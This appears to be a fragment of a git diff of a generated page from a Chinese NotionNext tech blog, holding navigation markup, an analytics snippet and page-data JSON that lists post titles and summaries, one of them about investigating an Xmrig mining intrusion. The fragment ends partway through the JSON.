</span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":3,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"开发"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"开发"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1